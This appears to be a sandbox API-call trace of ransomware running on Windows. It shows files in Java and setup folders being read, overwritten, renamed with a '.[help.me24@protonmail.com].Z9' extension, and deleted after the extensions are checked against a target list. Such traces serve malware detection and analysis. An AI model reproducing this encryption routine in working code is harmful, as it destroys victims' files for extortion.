	[0096.586] lstrcmpiW (lpString1=".jar", lpString2=".Z9") returned -1
	[0096.586] lstrlenW (lpString="deploy.jar") returned 10
	[0096.586] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0096.592] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=5040094) returned 1
	[0096.592] CloseHandle (hObject=0x358) returned 1
	[0096.592] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy.jar")) returned 0x20
	[0096.592] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy.jar.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0096.592] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy.jar"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy.jar.id-b4197730.[help.me24@protonmail.com].z9")) returned 1
	[0096.593] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy.jar.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0096.593] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fc64 | out: lpNewFilePointer=0x0) returned 1
	[0096.593] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fc24 | out: lpNewFilePointer=0x0) returned 1
	[0096.593] ReadFile (in: hFile=0x358, lpBuffer=0x3a10058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x350fc30, lpOverlapped=0x0 | out: lpBuffer=0x3a10058*, lpNumberOfBytesRead=0x350fc30*=0x40000, lpOverlapped=0x0) returned 1
	[0096.601] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x19a29f, lpNewFilePointer=0x0, dwMoveMethod=0x350fc24 | out: lpNewFilePointer=0x0) returned 1
	[0096.601] ReadFile (in: hFile=0x358, lpBuffer=0x3a50058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x350fc30, lpOverlapped=0x0 | out: lpBuffer=0x3a50058*, lpNumberOfBytesRead=0x350fc30*=0x40000, lpOverlapped=0x0) returned 1
	[0096.624] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x350fc64 | out: lpNewFilePointer=0xffffffff) returned 1
	[0096.624] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x48e7de, lpNewFilePointer=0x0, dwMoveMethod=0x350fc24 | out: lpNewFilePointer=0x0) returned 1
	[0096.624] ReadFile (in: hFile=0x358, lpBuffer=0x3a90058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x350fc30, lpOverlapped=0x0 | out: lpBuffer=0x3a90058*, lpNumberOfBytesRead=0x350fc30*=0x40000, lpOverlapped=0x0) returned 1
	[0096.700] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1
	[0096.700] WriteFile (in: hFile=0x358, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0xc0100, lpNumberOfBytesWritten=0x350fca8, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x350fca8*=0xc0100, lpOverlapped=0x0) returned 1
	[0096.723] SetEndOfFile (hFile=0x358) returned 1
	[0096.723] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x40000) returned 0x3d93960
	[0096.728] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fc74 | out: lpNewFilePointer=0x0) returned 1
	[0096.728] WriteFile (in: hFile=0x358, lpBuffer=0x3d93960*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x350fc80, lpOverlapped=0x0 | out: lpBuffer=0x3d93960*, lpNumberOfBytesWritten=0x350fc80*=0x40000, lpOverlapped=0x0) returned 1
	[0096.729] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x19a29f, lpNewFilePointer=0x0, dwMoveMethod=0x350fc74 | out: lpNewFilePointer=0x0) returned 1
	[0096.729] WriteFile (in: hFile=0x358, lpBuffer=0x3d93960*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x350fc80, lpOverlapped=0x0 | out: lpBuffer=0x3d93960*, lpNumberOfBytesWritten=0x350fc80*=0x40000, lpOverlapped=0x0) returned 1
	[0096.731] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x48e7de, lpNewFilePointer=0x0, dwMoveMethod=0x350fc74 | out: lpNewFilePointer=0x0) returned 1
	[0096.731] WriteFile (in: hFile=0x358, lpBuffer=0x3d93960*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x350fc80, lpOverlapped=0x0 | out: lpBuffer=0x3d93960*, lpNumberOfBytesWritten=0x350fc80*=0x40000, lpOverlapped=0x0) returned 1
	[0096.921] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d93960 | out: hHeap=0x500000) returned 1
	[0096.923] CloseHandle (hObject=0x358) returned 1
	[0097.291] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0097.291] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar") returned 49
	[0097.291] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar") returned 49
	[0097.291] lstrlenW (lpString=".doc") returned 4
	[0097.291] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1
	[0097.291] lstrlenW (lpString=".docx") returned 5
	[0097.291] lstrcmpiW (lpString1=".docx", lpString2="y.jar") returned -1
	[0097.291] lstrlenW (lpString=".pdf") returned 4
	[0097.291] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1
	[0097.291] lstrlenW (lpString=".xls") returned 4
	[0097.291] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1
	[0097.291] lstrlenW (lpString=".xlsx") returned 5
	[0097.291] lstrcmpiW (lpString1=".xlsx", lpString2="y.jar") returned -1
	[0097.291] lstrlenW (lpString=".ppt") returned 4
	[0097.292] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1
	[0097.292] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar") returned 49
	[0097.292] lstrlenW (lpString=".zip") returned 4
	[0097.292] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1
	[0097.292] lstrlenW (lpString=".rar") returned 4
	[0097.292] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1
	[0097.292] lstrlenW (lpString=".bz2") returned 4
	[0097.292] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1
	[0097.292] lstrlenW (lpString=".7z") returned 3
	[0097.292] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1
	[0097.292] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar") returned 49
	[0097.292] lstrlenW (lpString=".dbf") returned 4
	[0097.292] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1
	[0097.292] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar") returned 49
	[0097.292] lstrlenW (lpString=".1cd") returned 4
	[0097.292] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1
	[0097.292] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar") returned 49
	[0097.292] lstrlenW (lpString=".jpg") returned 4
	[0097.292] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1
	[0097.292] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar") returned 49
	[0097.292] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar") returned 49
	[0097.292] lstrlenW (lpString=".doc") returned 4
	[0097.292] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1
	[0097.292] lstrlenW (lpString=".docx") returned 5
	[0097.292] lstrcmpiW (lpString1=".docx", lpString2="y.jar") returned -1
	[0097.292] lstrlenW (lpString=".pdf") returned 4
	[0097.292] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1
	[0097.292] lstrlenW (lpString=".xls") returned 4
	[0097.292] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1
	[0097.292] lstrlenW (lpString=".xlsx") returned 5
	[0097.292] lstrcmpiW (lpString1=".xlsx", lpString2="y.jar") returned -1
	[0097.292] lstrlenW (lpString=".ppt") returned 4
	[0097.292] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1
	[0097.292] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar") returned 49
	[0097.293] lstrlenW (lpString=".zip") returned 4
	[0097.293] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1
	[0097.293] lstrlenW (lpString=".rar") returned 4
	[0097.293] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1
	[0097.293] lstrlenW (lpString=".bz2") returned 4
	[0097.293] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1
	[0097.293] lstrlenW (lpString=".7z") returned 3
	[0097.293] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1
	[0097.293] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar") returned 49
	[0097.293] lstrlenW (lpString=".dbf") returned 4
	[0097.293] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1
	[0097.293] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar") returned 49
	[0097.293] lstrlenW (lpString=".1cd") returned 4
	[0097.293] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1
	[0097.293] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar") returned 49
	[0097.293] lstrlenW (lpString=".jpg") returned 4
	[0097.293] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1
	[0097.293] lstrcmpiW (lpString1=".jar", lpString2=".Z9") returned -1
	[0097.293] lstrlenW (lpString="localedata.jar") returned 14
	[0097.293] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\localedata.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0097.298] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=2204781) returned 1
	[0097.298] CloseHandle (hObject=0x380) returned 1
	[0097.298] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\localedata.jar")) returned 0x20
	[0097.299] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\localedata.jar.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0097.299] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\localedata.jar"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\localedata.jar.id-b4197730.[help.me24@protonmail.com].z9")) returned 1
	[0097.299] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\localedata.jar.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0097.299] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fc64 | out: lpNewFilePointer=0x0) returned 1
	[0097.299] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fc24 | out: lpNewFilePointer=0x0) returned 1
	[0097.299] ReadFile (in: hFile=0x380, lpBuffer=0x3a10058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x350fc30, lpOverlapped=0x0 | out: lpBuffer=0x3a10058*, lpNumberOfBytesRead=0x350fc30*=0x40000, lpOverlapped=0x0) returned 1
	[0097.305] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0xb36cf, lpNewFilePointer=0x0, dwMoveMethod=0x350fc24 | out: lpNewFilePointer=0x0) returned 1
	[0097.305] ReadFile (in: hFile=0x380, lpBuffer=0x3a50058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x350fc30, lpOverlapped=0x0 | out: lpBuffer=0x3a50058*, lpNumberOfBytesRead=0x350fc30*=0x40000, lpOverlapped=0x0) returned 1
	[0097.332] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x350fc64 | out: lpNewFilePointer=0xffffffff) returned 1
	[0097.332] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x1da46d, lpNewFilePointer=0x0, dwMoveMethod=0x350fc24 | out: lpNewFilePointer=0x0) returned 1
	[0097.332] ReadFile (in: hFile=0x380, lpBuffer=0x3a90058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x350fc30, lpOverlapped=0x0 | out: lpBuffer=0x3a90058*, lpNumberOfBytesRead=0x350fc30*=0x40000, lpOverlapped=0x0) returned 1
	[0097.377] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1
	[0097.377] WriteFile (hFile=0x380, lpBuffer=0x3a10020, nNumberOfBytesToWrite=0xc0108, lpNumberOfBytesWritten=0x350fca8, lpOverlapped=0x0) 

Thread:
	id = 18
	os_tid = 0x1188

	[0070.165] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x10000) returned 0x3d60938
	[0070.165] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x10000) returned 0x3d70940
	[0070.166] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x10) returned 0x559548
	[0070.166] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x6) returned 0x59e058
	[0070.166] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x10) returned 0x559560
	[0070.166] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x100000) returned 0x3f44020
	[0070.169] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x10) returned 0x559578
	[0070.169] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x559578, Size=0x20) returned 0x53edd8
	[0070.169] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x10) returned 0x559578
	[0070.169] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x559578, Size=0x20) returned 0x53eef0
	[0070.169] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76750000
	[0070.169] GetProcAddress (hModule=0x76750000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76766b30
	[0070.169] Wow64DisableWow64FsRedirection (in: OldValue=0x364ff50 | out: OldValue=0x364ff50*=0x0) returned 1
	[0070.169] lstrlenW (lpString="kernel32.dll") returned 12
	[0070.169] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x53edd8 | out: hHeap=0x500000) returned 1
	[0070.169] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0070.169] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x53eef0 | out: hHeap=0x500000) returned 1
	[0070.169] Sleep (dwMilliseconds=0x64) 
	[0070.383] lstrcmpiW (lpString1=".cmd", lpString2=".Z9") returned -1
	[0070.383] lstrlenW (lpString="SetupComplete.cmd") returned 17
	[0070.383] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd" (normalized: "c:\\$getcurrent\\safeos\\setupcomplete.cmd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0071.179] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=307) returned 1
	[0071.179] CloseHandle (hObject=0x328) returned 1
	[0071.179] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd" (normalized: "c:\\$getcurrent\\safeos\\setupcomplete.cmd")) returned 0x20
	[0071.179] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\$getcurrent\\safeos\\setupcomplete.cmd.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0071.180] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd" (normalized: "c:\\$getcurrent\\safeos\\setupcomplete.cmd"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0071.180] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.180] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.180] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\$getcurrent\\safeos\\setupcomplete.cmd.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c
	[0071.395] GetLastError () returned 0x0
	[0071.395] ReadFile (in: hFile=0x328, lpBuffer=0x3f44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesRead=0x364fecc*=0x133, lpOverlapped=0x0) returned 1
	[0071.408] WriteFile (in: hFile=0x31c, lpBuffer=0x3f44020*, nNumberOfBytesToWrite=0x140, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesWritten=0x364fc94*=0x140, lpOverlapped=0x0) returned 1
	[0071.409] ReadFile (in: hFile=0x328, lpBuffer=0x3f44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1
	[0071.409] WriteFile (in: hFile=0x31c, lpBuffer=0x3f44020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesWritten=0x364fc94*=0xf6, lpOverlapped=0x0) returned 1
	[0071.484] SetEndOfFile (hFile=0x31c) returned 1
	[0071.484] CloseHandle (hObject=0x31c) returned 1
	[0071.485] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.485] SetEndOfFile (hFile=0x328) returned 1
	[0071.485] CloseHandle (hObject=0x328) returned 1
	[0071.486] SetFileAttributesW (lpFileName="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0071.486] DeleteFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd" (normalized: "c:\\$getcurrent\\safeos\\setupcomplete.cmd")) returned 1
	[0071.486] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd") returned 39
	[0071.486] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd") returned 39
	[0071.486] lstrlenW (lpString=".doc") returned 4
	[0071.486] lstrcmpiW (lpString1=".doc", lpString2=".cmd") returned 1
	[0071.486] lstrlenW (lpString=".docx") returned 5
	[0071.486] lstrcmpiW (lpString1=".docx", lpString2="e.cmd") returned -1
	[0071.486] lstrlenW (lpString=".pdf") returned 4
	[0071.487] lstrcmpiW (lpString1=".pdf", lpString2=".cmd") returned 1
	[0071.487] lstrlenW (lpString=".xls") returned 4
	[0071.487] lstrcmpiW (lpString1=".xls", lpString2=".cmd") returned 1
	[0071.487] lstrlenW (lpString=".xlsx") returned 5
	[0071.487] lstrcmpiW (lpString1=".xlsx", lpString2="e.cmd") returned -1
	[0071.487] lstrlenW (lpString=".ppt") returned 4
	[0071.487] lstrcmpiW (lpString1=".ppt", lpString2=".cmd") returned 1
	[0071.487] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd") returned 39
	[0071.487] lstrlenW (lpString=".zip") returned 4
	[0071.487] lstrcmpiW (lpString1=".zip", lpString2=".cmd") returned 1
	[0071.487] lstrlenW (lpString=".rar") returned 4
	[0071.487] lstrcmpiW (lpString1=".rar", lpString2=".cmd") returned 1
	[0071.487] lstrlenW (lpString=".bz2") returned 4
	[0071.487] lstrcmpiW (lpString1=".bz2", lpString2=".cmd") returned -1
	[0071.487] lstrlenW (lpString=".7z") returned 3
	[0071.487] lstrcmpiW (lpString1=".7z", lpString2="cmd") returned -1
	[0071.487] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd") returned 39
	[0071.487] lstrlenW (lpString=".dbf") returned 4
	[0071.487] lstrcmpiW (lpString1=".dbf", lpString2=".cmd") returned 1
	[0071.487] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd") returned 39
	[0071.487] lstrlenW (lpString=".1cd") returned 4
	[0071.487] lstrcmpiW (lpString1=".1cd", lpString2=".cmd") returned -1
	[0071.487] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd") returned 39
	[0071.487] lstrlenW (lpString=".jpg") returned 4
	[0071.487] lstrcmpiW (lpString1=".jpg", lpString2=".cmd") returned 1
	[0071.487] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd") returned 39
	[0071.487] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd") returned 39
	[0071.487] lstrlenW (lpString=".doc") returned 4
	[0071.487] lstrcmpiW (lpString1=".doc", lpString2=".cmd") returned 1
	[0071.487] lstrlenW (lpString=".docx") returned 5
	[0071.487] lstrcmpiW (lpString1=".docx", lpString2="e.cmd") returned -1
	[0071.487] lstrlenW (lpString=".pdf") returned 4
	[0071.487] lstrcmpiW (lpString1=".pdf", lpString2=".cmd") returned 1
	[0071.487] lstrlenW (lpString=".xls") returned 4
	[0071.487] lstrcmpiW (lpString1=".xls", lpString2=".cmd") returned 1
	[0071.488] lstrlenW (lpString=".xlsx") returned 5
	[0071.488] lstrcmpiW (lpString1=".xlsx", lpString2="e.cmd") returned -1
	[0071.488] lstrlenW (lpString=".ppt") returned 4
	[0071.488] lstrcmpiW (lpString1=".ppt", lpString2=".cmd") returned 1
	[0071.488] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd") returned 39
	[0071.488] lstrlenW (lpString=".zip") returned 4
	[0071.488] lstrcmpiW (lpString1=".zip", lpString2=".cmd") returned 1
	[0071.488] lstrlenW (lpString=".rar") returned 4
	[0071.488] lstrcmpiW (lpString1=".rar", lpString2=".cmd") returned 1
	[0071.488] lstrlenW (lpString=".bz2") returned 4
	[0071.488] lstrcmpiW (lpString1=".bz2", lpString2=".cmd") returned -1
	[0071.488] lstrlenW (lpString=".7z") returned 3
	[0071.488] lstrcmpiW (lpString1=".7z", lpString2="cmd") returned -1
	[0071.488] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd") returned 39
	[0071.488] lstrlenW (lpString=".dbf") returned 4
	[0071.488] lstrcmpiW (lpString1=".dbf", lpString2=".cmd") returned 1
	[0071.488] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd") returned 39
	[0071.488] lstrlenW (lpString=".1cd") returned 4
	[0071.488] lstrcmpiW (lpString1=".1cd", lpString2=".cmd") returned -1
	[0071.488] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd") returned 39
	[0071.488] lstrlenW (lpString=".jpg") returned 4
	[0071.488] lstrcmpiW (lpString1=".jpg", lpString2=".cmd") returned 1
	[0071.488] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0071.488] lstrlenW (lpString="SetupResources.dll") returned 18
	[0071.488] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1040\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1040\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330
	[0071.617] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=18264) returned 1
	[0071.617] CloseHandle (hObject=0x330) returned 1
	[0071.617] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1040\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1040\\setupresources.dll")) returned 0x80
	[0071.618] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1040\\SetupResources.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\1040\\setupresources.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0071.618] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1040\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1040\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330
	[0071.618] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.618] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.618] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1040\\SetupResources.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\1040\\setupresources.dll.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0071.618] GetLastError () returned 0x0
	[0071.618] ReadFile (in: hFile=0x330, lpBuffer=0x3f44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesRead=0x364fecc*=0x4758, lpOverlapped=0x0) returned 1
